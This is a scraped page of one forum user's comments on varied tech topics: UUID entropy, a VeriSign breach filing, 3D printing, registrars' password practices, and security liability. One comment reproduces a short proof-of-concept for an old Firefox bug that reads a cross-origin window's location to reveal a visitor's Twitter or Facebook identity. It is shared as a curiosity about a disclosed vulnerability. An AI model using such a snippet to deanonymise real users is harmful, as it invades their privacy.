pittsburgh

12 lat temudiscuss

A possible explanation from a 2003 paper is Electron Holes ( http://en.wikipedia.org/wiki/Electron_hole )

"Rocks That Crackle and Sparkle and Glow: Strange Pre-Earthquake Phenomena"

http://www.scientificexploration.org/journal/jse_17_1_freund... [PDF]

pittsburgh

12 lat temudiscuss

I work for Nook as a Rails developer in Palo Alto. I'm not authorized to speak on behalf of the company, blah blah blah, but I just wanted to post a quick comment saying that this news should NOT be interpreted as Nook going out of business. In fact, we're actively hiring devs here in Palo Alto and also in New York: http://www.nook.com/careers/locations

I really wish I could provide details, but I'll just say that I would be extremely surprised if Nook wasn't around and doing well in five years. My coworkers and I really enjoy working here, and none of us worry about job security.

pittsburgh

14 lat temudiscuss

Whether or not this was built as a joke, there could be real benefit from a service like this.

Imagine you need a UUID in JavaScript. Here's a function that does it:

  function UUID() {
    return "4444-8888-FFFFFFFFFFFF";
  }

What's that you say? You want a randomly generated UUID? Okay, here's a clever one taken from http://stackoverflow.com/questions/105034/how-to-create-a-gu...

  'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
    var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);
    return v.toString(16);
  });

That should be pretty good, right? Well, it's pretty good depending on your needs. If you need a UUID that is (practically) guaranteed to be unique within a single HTML document, and that UUID never leaves the scope of that page, then this function is a great solution. But if your client-side-generated UUID is sent to the server where it meets up with many other UUIDs generated from the same JavaScript code that ran in other browsers, then this function won't cut it. Why not? Because generating a random UUID in JavaScript relies on the use of Math.random(), which in most browsers uses the current datetime as a seed, and that's only a fine seed if you're building Tetris.

Given enough time, two browsers will eventually generate a UUID at the same moment, meaning they both use the same seed and therefore generate the same UUID.

So, why not seed a pseudo-random number generator in JavaScript yourself with something better than the current time? Because client-side JavaScript doesn't have access to good sources of entropy. Within the browser, your sources of entropy are limited to things like the current time, the window dimensions, the user agent string, the number of plugins installed, etc. You could capture mouse movements and keyboard clicks over time, but it would take a while to generate sufficient entropy for a cryptographically secure random number. Also, if you need to generate a UUID on page load you can't wait for the user to jiggle their mouse.

Meanwhile, the server has access to better sources of entropy. For example, many /dev/random implementations use the time between hard drive seeks as a source of entropy. Of course this entropy pool would be exhausted quickly, but you could replenish the pool with outside sources of entropy such as white noise from a radio ( https://www.random.org/history/ ) or even radioactive decay ( http://www.fourmilab.ch/hotbits/ ).

I don't know what sources of entropy http://uuid.me is using to generate random UUIDs, but it might be better than what JavaScript is capable of on its own. If uuid.me served its UUIDs in JSON, then you could make a JSONP call in JavaScript, providing you with a UUID that is much less likely to ever collide with another client's UUID.

pittsburgh

14 lat temudiscuss

If you're curious like I was, you can find the details of the vulnerability described by Gareth Heyes at http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-yo...

His proof-of-concept of the vulnerability can be found at http://www.businessinfo.co.uk/labs/firefox_knows_what_your_f... (Best fetched via curl... or Firefox 16.0 with an active Twitter session if you're daring.)

Or you can just see the source here:

  <!doctype html>
  <script>
  function poc() {
    var win = window.open('https://twitter.com/lists/',
      'newWin', 'width=200,height=200');
    setTimeout(function(){
      alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
    }, 5000);
  }
  </script>
  <input type=button value="Firefox knows">

edit: As others discovered, the regex stuff is an unnecessary red herring. Here's a simplified POC that uses Facebook to discover your vanity URL:

  <!doctype html>
  <script>
  function poc() {
    var win = window.open('https://facebook.com/profile.php',
      'newWin', 'width=200,height=200');
    setTimeout(function(){
      alert('Hello ' + win.location);
    }, 5000);
  }
  </script>
  <input type=button value="Firefox knows">

pittsburgh

14 lat temudiscuss

As a developer, I agree that captchas can be a drag on users, and I think we should put serious thought into whether or not their UX-cost is justified. Personally, I try to avoid using them on sites I build.

That said, as a user, it's hard to hate ReCaptcha after hearing Luis von Ahn talk about and defend his invention: http://www.youtube.com/watch?v=-Ht4qiDRZE8

It's a clever way to digitize books (and now street signs) while keeping out spambots, and when I combine that knowledge with my affinity for Luis von Ahn as a person I find myself less annoyed every time I have to prove I'm not a robot.

pittsburgh

14 lat temudiscuss

The reuters article provides no details about the security breach, so I did some digging. The most I could find was VeriSign's original SEC filing at http://www.sec.gov/Archives/edgar/data/1014473/0001193125112...

From the filing: We experienced security breaches in the corporate network in 2010 which were not sufficiently reported to Management.

In 2010, the Company faced several successful attacks against its corporate network in which access was gained to information on a small portion of our computers and servers. We have investigated and do not believe these attacks breached the servers that support our Domain Name System (“DNS”) network. Information stored on the compromised corporate systems was exfiltrated. The Company’s information security group was aware of the attacks shortly after the time of their occurrence and the group implemented remedial measures designed to mitigate the attacks and to detect and thwart similar additional attacks. However, given the nature of such attacks, we cannot assure that our remedial actions will be sufficient to thwart future attacks or prevent the future loss of information. In addition, although the Company is unaware of any situation in which possibly exfiltrated information has been used, we are unable to assure that such information was not or could not be used in the future.

The occurrences of the attacks were not sufficiently reported to the Company’s management at the time they occurred for the purpose of assessing any disclosure requirements. Management was informed of the incident in September 2011 and, following the review, the Company’s management concluded that our disclosure controls and procedures are effective. However, the Company has implemented reporting line and escalation organization changes, procedures and processes to strengthen the Company’s disclosure controls and procedures in this area. See Item 4 “Controls and Procedures” in Part I of this report.

It's interesting to note that the SEC issued guidelines on the reporting of security breaches on October 13th, 2011 ( http://www.sec.gov/divisions/corpfin/guidance/cfguidance-top... ) and VeriSign's SEC filing was released about two weeks later on October 28th, 2011. It could be the case that the security breach wasn't actually a major one, but because the SEC guidelines were so new they thought it prudent to mention even a minor security breach.

From this filing, there's no way to know the severity of the breach, which is why I think it's unfair for reuters to make this seem like a bigger deal than it might actually be. (They mention the RSA security breach which was a huge deal, and they suggest the attack was done by a "nation-state".) It reads like an article written by Nancy Grace.

Of course it could be the case that this was a major attack carried out by China, but it could also be a mundane attack on a public web server that wouldn't have made the news if not for the timing of the recent SEC guidelines. There's just no way to know from the information available.

pittsburgh

15 lat temudiscuss

This reminds me of the story from about ten years ago about a racist police dog in Pittsburgh that would attack bystanders: http://www.oocities.org/ericsquire/articles/dogs/wtae030425.... and http://web.archive.org/web/20080503212841/http://dir.salon.c...

Tangent: I'm extremely frustrated at how ephemeral web pages are. I googled the story to provide a reference, and the most reputable sources for the story are dead. I found 404s on Salon.com, Fox News, the Pittsburgh Tribune-Review, and PBS.org. Sadly, I found some of these links on a racist forum. It sucks that Storm Front keeps bytes around longer than these other sites.

Anyway, I just donated $25 to archive.org to support what they're doing. I've been using the Wayback Machine for years and always took it for granted. I'm not sure what made things different about tonight's frustration at broken links, but for the first time I just became worried about the preservation of history.

pittsburgh

15 lat temudiscuss

And the only way to stop future SOPAs is to make the system less corrupt, which means taking money out of politics.

This is why Lawrence Lessig left the fight against intellectual property craziness to focus on the underlying problem of corruption.

It's been years since I heard Lessig was shifting his focus to fight corruption, and recently SOPA got me curious about what he's been up to and if SOPA had brought him back out of "retirement". That led me to this article, "Why Is Lawrence Lessig MIA In The Great SOPA Piracy Debate?" http://m.paidcontent.org/article/419-why-is-lawrence-lessig-...

which led me to Lessig's response: http://lessig.tumblr.com/post/13119510676/me-mia-on-the-sopa...

which led me to his iniative to fight political corruption through campaign finance reform: http://www.rootstrikers.org/

I'm actually glad to see that Lessig isn't letting SOPA distract him from his fight against corruption which is the root of the problem. Stopping SOPA would be a huge win, but it would only be a battle win, and as long as we're losing the corruption war there are going to be many more SOPAs to fight in the future.

pittsburgh

15 lat temudiscuss

Between this post and comments from startup school along the same lines, there seems to be a lot of people complaining about founders looking to make a quick buck without having to work hard for it.

I live in SF. I'm running a startup, and many of my friends are as well. Where are these lazy, get rich quick people I keep reading about? Am I just lucky to only be surrounded by hard-working entrepreneurs who are trying to build long-term viable businesses, or is this problem being overblown a little?

This is me genuinely asking, not making a statement in question form.

pittsburgh

15 lat temudiscuss

When I think of ridesharing this much more pleasant one comes to mind: http://en.wikipedia.org/wiki/When_Harry_Met_Sally

pittsburgh

15 lat temudiscuss

I believe you're thinking of this: http://www.youtube.com/watch?v=EfbhdZKPHro

Also related: http://inhabitat.com/3-d-printer-creates-entire-buildings-fr...

pittsburgh

15 lat temudiscuss

I am not the author of the article, just the submitter. However, I'll run with your comment anyway...

Tensile Modulus (aka Young's Modulus) is a measure of how stiff a material is. Specifically, it's a measure of how much a material stretches under load. (Diamond has a very high tensile modulus while rubber has a very low tensile modulus.)

Ten years ago, people were 3D printing in plastics with a tensile modulus of under 1,000 MPa and they were happy with that. Today you can print in DSM Somos NanoTool which has a tensile modulus of 11,400 MPa. Keep in mind this is a plastic. ( Source: http://www.dsm.com/en_US/downloads/dsms/NanoTooleng_10.09.pd... )

If you need even stronger materials then you should consider using an SLS (selective laser sintering) printer that can build products in titanium, aluminum or steel. Imagine how many ants could safely walk across a bridge 3D printed in any of these!

pittsburgh

15 lat temudiscuss

3D printing isn't feasible for the the mass manufacturing of everything yet, but it's feasible for certain types of products today, and it is improving. Here are some ways in which 3D printing has moved closer in the last few years:

* Stronger materials, such as Somos NeXt resin: http://www.dsm.com/en_US/html/dsms/next.htm

* Cheaper materials

* BioCompatible materials, such as Med610 which just came out last week: http://www.objet.com/3D-Printing-Materials/Overview/Bio-Comp...

* The ability to print in more than one material at a time, as shown in these human feet: http://www.objetblog.com/2011/09/21/a-table-of-3d-printed-fe...

* Higher resolution printing, such as the Objet Eden500V which can print detail as small as 0.0006”: http://www.objet.com/3D-Printer/Objet_Eden500V/

Examples of consumer products currently being made with the help of 3D printers include:

* Invisalign braces: http://www.youtube.com/watch?v=EVQq9joOS_4

* Hearing aids: http://i.materialise.com/blog/entry/3d-printing-in-medicine-...

* Jewelry: http://www.summerized.com/jewelry/

Things will really take off for 3D printing when printers can simultaneously print in multiple materials like plastic, metal, and rubber, and in multiple colors per part. Until then, you're right that 3D printers will continue to be used primarily for rapid prototyping, but this will change within a few years as the technology continues to improve and the cost continues to fall.

pittsburgh

15 lat temudiscuss

tl;dr The IRS built an app for the iPhone. They built it using tools and libraries that hadn't internally been approved by the IRS. The team in charge of the app could have requested a waiver to use non-approved software, but decided not to because of time constraints. This was detected during a security audit. The audit was performed because this was the first time the IRS developed an iPhone app and they wanted to make sure it had been built securely.

The project wasn't criticized for using open source software or Objective C. They were criticized for using non-approved software and for not getting a waiver to use the non-approved software.

pittsburgh

15 lat temudiscuss

Who said it was better than Bluetooth?

There are a lot of existing hardware devices that have RS232 connections but don't support Bluetooth. For those devices this is "better" than Bluetooth in the sense that Bluetooth isn't an option at all.

pittsburgh

15 lat temudiscuss

Along the lines of String best practices, my favorite is to reverse the usual order of variable and literal to avoid null pointer exceptions:

  if("botulinum".equals(bacteria))

instead of:

  if(bacteria.equals("botulinum"))

pittsburgh

15 lat temudiscuss

I've also tried to find a search engine that supports regex and have come up empty. I hope somebody on this thread pleasantly surprises me, but I now doubt one exists.

Since parsing regular expressions is so slow compared with performing an indexed search, it's difficult to think of a way to make that scale for a dataset as large as the public web. There's also the problem of having to protect against regex denial of service attacks: http://en.m.wikipedia.org/wiki/ReDoS

I've been able to (very partially) make up for the lack of regex support by taking advantage of Google's operators and wildcards:

http://www.googleguide.com/wildcard_operator.html

http://www.googleguide.com/advanced_operators.html

Some examples:

   "solar|lunar eclipse 1700..1800"

   "William * Clinton"

   Columbus -Ohio -Georgia -Christopher

This is hardly a replacement for regex, but it's the best I've been able to come up with.

pittsburgh

15 lat temudiscuss

In the past few weeks, we’ve discussed a new approach that we think will strike a better balance by giving our customers greater control over password management and at the same time ensuring the basic security of those passwords. I’m personally very pleased that our approach will have appeal to customers that are concerned about password security and customers that appreciate the benefits of great usability (and for customers who are concerned about both, blow their socks off

Could anybody find the blog post they are referring to that explains their balance between simplicity and security? I was unable to. However, it does appear that they still send plaintext passwords via email: https://www.hover.com/send_password

If you're looking to switch registrars, I can't say enough good things about http://gandi.net. Their motto is literally "no bullshit" and it's the reason I switched to them a few years ago. They aren't the cheapest option, but their UI is very simple and aesthetically pleasing, they offer free DNS hosting, they don't clutter their checkout pages with any ads or ridiculous upsells, they don't kill elephants for fun ( http://mashable.com/2011/04/01/bob-parsons-elephant-story/ ), and they don't email your password in plaintext. There are very few companies I'm willing to rave about, but Gandi is one of them.

pittsburgh

15 lat temudiscuss

It's going to work for about a year, then when there is a security failure the company will turn around run git/svn blame and sue the individual employee.

You bring up an interesting topic which is an extension of the first one. If the forces motivating a company to do the right thing are 1) desire to gain and not lose customers 2) desire to not be penalized by the government and 3) desire to not be sued, then what motivates an employee to also do the right thing? (I'm generalizing the question because this applies to so many things, but I'll switch back to talking about "building secure software" as a specific example of "doing the right thing".)

A software developer should be motivated to build secure code because of these motivators: 1) Desire to build or maintain a good reputation among peers 2) Desire to not get fired 3) Desire to protect employer from harm 4) Desire to protect customers from harm 5) Desire to just do things the right way for the sake of preferring good things over bad. (There's probably a more elegant way to phrase that last one, but it's like how an architect might fight against proposed changes to a blueprint for the sake of the building itself.)

To err is human, and companies are composed of humans. When a company hires a software developer, they are inherently taking on the risk that this human will make mistakes, so I don't think developers should be legally liable for bugs or vulnerabilities in their code unless they are incredibly egregious or intentional. It's the company's responsibility to anticipate the possibility of bugs and vulnerabilities, and to mitigate that risk by hiring good people, and by having good policies, procedures and training. (By having code reviews and conducting security audits, for example.)

I'm sure we're in agreement that developers shouldn't be sued for mistakes in their code, but whether or not they can be sued for honest mistakes is another question. I don't know what the law has to say about that, but if employees aren't already protected against lawsuits for non-egregious mistakes then that should be changed.

Hopefully the laws would be written so that when you post security best practices in your TOS and the customer does not follow them the liability can be mitigated (eg. don't reuse passwords on multiple sites)

I totally agree. Customers have to bear some of the responsibility as well.

Re: AT&T where are they going to go? T-Mobile?

My point exactly! Going back to three motivators I mentioned for companies to do the right thing, AT&T knew it wouldn't lose a significant number of customers over the NSA spying issue because there's not much competition in their space. (That and apathy, unfortunately.) Also, they knew they wouldn't get penalized by the government for, well, forking data over to the government. That leaves the only viable option being to sue AT&T... except that power was taken away by retroactively granting AT&T immunity by FISA. ( http://en.wikipedia.org/wiki/Hepting_v._AT%26T ) This is what makes the AT&T/NSA issue so upsetting. All motivations for AT&T and other telecoms to "do the right thing" have been taken off the table.

pittsburgh

15 lat temudiscuss

I hold an unpopular opinion that lawyers and lawsuits are a great way to motivate companies to "do the right thing", where in this case the "right thing" we're talking about is protecting customer data.

Another great motivator for doing the right thing is knowing that customers will vote with their wallets. Unfortunately this isn't always a strong enough motivation because some markets don't have enough competition, or the cost and hassle of changing the companies you do business with is too high. (Don't you wish customers had left AT&T in droves over the NSA spying ordeal?)

That's where another force comes into play, which is government regulation. I lean libertarian, and although I think some regulation is an absolute necessity (especially on environmental issues) my preference is to have the least amount of regulation necessary. That brings us back to the attorneys. When a company like Sony screws up and exposes their customers' data, I'd rather see them get their pants sued off than have the government step in and regulate. Fear of being sued is a much more compelling reason to "do the right thing" than fear of breaking a law, which might only get you a slap on the wrist.

Do frivolous lawsuits exist? Yes, and they piss me off like the next person. Do scumball attorneys exist? Yes, and I hate them like you do. Ironically, I think some of this problem could be solved with new laws, but I haven't really thought about it enough to more specific. (Maybe something along the lines of the loser having to pay the the other side's legal fees, but I can also argue against that from ten angles. I really haven't spent enough time thinking about how to minimize frivolous lawsuits to feel like I can say anything intelligent about it, other than to say that I bet something can be done.)

Anyway, my point is that companies have different forces that can/should/do motivate them to provide data security, and the threat of lawsuit is an excellent one, right up there with fear of losing customers and fear of government regulation. Too much of any one of these forces is bad, but we wouldn't have a healthy mix without attorneys and their lawsuits.

pittsburgh

Submissions

Leukippos: A Synthetic Biology Lab in the Cloud

Open Source Biotech Consumables

Collaborative Consumption & Societal Operating Systems

How 3D Printing Will Save American Manufacturing

comments